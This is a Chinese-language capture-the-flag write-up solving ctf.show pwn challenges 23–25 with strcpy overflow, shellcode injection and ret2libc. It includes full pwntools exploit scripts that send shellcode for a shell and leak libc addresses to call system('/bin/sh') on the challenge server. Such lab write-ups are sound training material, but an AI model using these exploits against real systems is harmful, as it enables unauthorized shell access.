pwn23-25的题目会涉及到ret2shellcode、ret2libc等内容,本篇文章只会侧重研究这几道题目的wp,不会过多涉及到ret2shellcode、ret2libc的基本原理,等有时间再来写关于ret2libc、ret2shellcode…的相关内容。大家可以参考CTFwiki的文章去慢慢学习。
CTFwiki:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc
pwn23
首先我们还是将pwn文件下载下来拖入虚拟机加上可执行权限,然后使用checksec命令查看文件的信息。
chmod +x pwn
checksec pwn
32位的,直接拉进ida反编译。
// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5, v6, v7, v3);
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");
if ( argc > 1 )
ctfshow((char *)argv[1]);
return 0;
}
//ctfshow
char *__cdecl ctfshow(char *src)
{
char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF
return strcpy(dest, src);
}
代码的大致逻辑就是先本地读取/ctfshow_flag文件,然后打印一段信息,判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow函数的参数,ctfshow函数接收一个src参数将其值赋给dest。这就大概的代码逻辑。那我们如何拿到flag呢?
我们首先要知道ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!
我们先使用ssh连接服务器。
我们进来之后,也就是直接给了我们shell,但是我们被限制不能读取/ctfshow_flag文件,所以我们还得依靠pwn文件来读取,这个pwnme就是我们下载的pwn文件。
我们的思路是溢出,那么我们载运行该文件是输入参数是我们就要尽可能的输入更多的字符串以让程序发生溢出。
可以看到,我输入了许多的a字符,致使程序溢出,然后程序就为我们输出了flag!
pwn24
我们首先是下载pwn文件,然后给它加上可执行权限,使用checksec命令查看文件信息。
chmod +x pwn
checksec pwn
32位的直接拖进ida反编译。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
puts(asc_80486E0);
puts(asc_8048754);
puts(asc_80487D0);
puts(asc_804885C);
puts(asc_80488EC);
puts(asc_8048970);
puts(asc_8048A04);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : NX disabled & Has RWX segments ");
puts(" * ************************************* ");
ctfshow(&argc);
return 0;
}
可能是我ida的问题,这里ctfshow()函数,反编译不出来,所以只能看汇编代码凑合了。
0x080484c6 <+0>: push ebp
0x080484c7 <+1>: mov ebp,esp
0x080484c9 <+3>: push ebx
0x080484ca <+4>: sub esp,0x84
0x080484d0 <+10>: call 0x8048400 <__x86.get_pc_thunk.bx>
0x080484d5 <+15>: add ebx,0x1b2b
0x080484db <+21>: sub esp,0x4
0x080484de <+24>: push 0x100
0x080484e3 <+29>: lea eax,[ebp-0x88]
0x080484e9 <+35>: push eax
0x080484ea <+36>: push 0x0
0x080484ec <+38>: call 0x8048360 <read@plt>
0x080484f1 <+43>: add esp,0x10
0x080484f4 <+46>: sub esp,0xc
0x080484f7 <+49>: lea eax,[ebp-0x88]
0x080484fd <+55>: push eax
0x080484fe <+56>: call 0x8048370 <puts@plt>
0x08048503 <+61>: add esp,0x10
0x08048506 <+64>: lea eax,[ebp-0x88]
0x0804850c <+70>: call eax
0x0804850e <+72>: nop
0x0804850f <+73>: mov ebx,DWORD PTR [ebp-0x4]
0x08048512 <+76>: leave
0x08048513 <+77>: ret
分析知道,pwn文件的NX是关掉的,代表栈可执行。
而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!
并且,该题目也提示我们使用pwntools的shellcraft模块来进行攻击,这部赤裸裸的诱惑嘛!
开始编写exp:
from pwn import *
# 与目标服务器的pwn文件建立进程
p = remote("pwn.challenge.ctf.show", "28178")
# 使用shellcraft模块生成shellcode
shell = asm(shellcraft.sh())
# 向远程发送数据(我们的shellcode)
p.sendline(shell)
# 建立交互式对话
p.interactive()
成功拿到flag。
pwn25
直接说NX开启,让我们使用ret2libc,那我们就听他们的,用ret2libc吧!
首先将文件下载托到虚拟机加上可执行权限,然后使用checksec查看文件信息。
chmod +x pwn
checksec pwn
32位的,直接拖进ida反编译!
// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
logo();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
// ctfshow
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
大概的代码逻辑呢,就是先通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。执行完ctfshow()就会输出一些其他无关紧要的东西了。
OK,既然要ret2libc,我们就ret2libc hhhhh!
我们首先看一下plt表中的函数:
objdump -d -j .plt pwn
我们看到plt表中含有puts函数跟write函数,那got表中也一定有他俩,那我们就使用puts函数来输出函数的内存地址吧!
exp如下:
# 导入相关的库
from pwn import *
from LibcSearcher import *
# 打印调试信息
context.log_level = 'debug'
# 建立连接
p = remote("pwn.challenge.ctf.show", "28121")
elf = ELF("./pwn")
# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']
# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)
# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts",puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)
成功拿到flag!